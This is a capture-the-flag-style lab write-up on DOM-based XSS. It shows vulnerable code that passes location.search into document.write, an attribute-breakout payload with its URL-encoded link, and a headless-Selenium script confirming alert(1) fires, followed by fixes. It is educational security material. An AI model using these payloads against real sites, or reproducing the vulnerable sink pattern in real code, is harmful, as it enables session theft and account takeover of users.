DOM XSS in document.write sink using source location.search
Client-side XSS that never touches the server response: a script reads the URL query string and writes it straight into the page with document.write. Break out of the img src attribute with "><svg onload=alert(1)> and the alert fires from a plain link.
Overview
This lab is a DOM-based cross-site scripting (CWE-79) bug. Unlike reflected or stored XSS, the payload is never processed by the server — the entire vulnerability lives in client-side JavaScript. The server sends down a clean page, and a script on that page takes attacker-controlled input from the URL and writes it into the document itself.
The vulnerable code
The home page search runs this JavaScript:
1
2
var query = (new URLSearchParams(window.location.search)).get('search');
document.write('<img src="/resources/images/tracker.gif?searchTerms='+query+'">');
Two ingredients make this exploitable:
- A source —
location.search, the part of the URL after?. The attacker fully controls it. - A sink —
document.write, which parses whatever string you give it as live HTML and inserts it into the page.
The search value is concatenated directly into an <img> tag with no encoding, so whatever you put in the query string becomes part of the page’s markup.
The technique
The injected value lands inside a double-quoted attribute (src="...searchTerms=VALUE"). To escape it you close the quote and the tag, then add your own element:
1
"><svg onload=alert(1)>
The " ends the src attribute, the > ends the <img> tag, and then <svg onload=alert(1)> is a fresh element whose onload handler runs as soon as it renders.
Delivered as a URL (the query string is URL-encoded):
1
https://TARGET/?search=%22%3E%3Csvg%20onload%3Dalert%281%29%3E
document.write then emits:
1
<img src="/resources/images/tracker.gif?searchTerms="><svg onload=alert(1)>">
and the browser fires alert(1).
Because the source is the query string — not the # fragment — the exploit is just a link. Anyone who clicks it runs the script in their own session, with no exploit server and nothing stored on the server. (Confirming it requires a real JavaScript engine, since the bug never appears in the raw HTML: load the crafted URL in a browser and the alert pops.)
Reproducing it
Since the bug never appears in the raw HTML, curl can’t prove it — you need a real JavaScript engine. Headless chromium driven by selenium does the job (the chromedriver that ships with Kali’s chromium package; note that playwright won’t run here because its driver needs /usr/bin/node, which minimal Kali doesn’t have):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import urllib.parse, time
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from selenium.webdriver.chrome.service import Service
base = "https://TARGET/"
url = base + "?search=" + urllib.parse.quote('"><svg onload=alert(1)>')
o = Options()
for a in ["--headless=new", "--no-sandbox", "--disable-dev-shm-usage",
"--disable-gpu", "--ignore-certificate-errors"]:
o.add_argument(a)
d = webdriver.Chrome(service=Service("/usr/bin/chromedriver"), options=o)
d.get(url)
time.sleep(2)
al = d.switch_to.alert # raises if the payload did NOT run
print("ALERT FIRED, text:", al.text)
al.accept()
d.quit()
ALERT FIRED, text: 1 confirms the DOM sink executed.
Why it matters
A working alert(1) is the proof of concept; the real impact is anything that JavaScript can do in the victim’s session — stealing a non-HttpOnly session cookie, performing authenticated actions as the victim, or pivoting to account takeover. All it takes is getting the target to open a link.
The fix
- Don’t feed untrusted input to dangerous sinks. Avoid
document.write,innerHTML, andevalwith attacker-controlled data. Build nodes withtextContent/document.createElementso input is treated as data, not markup. - Context-encode if you must insert into HTML — here, HTML-attribute-encode
"and>before writing. - Content-Security-Policy that forbids inline event handlers is useful defense in depth.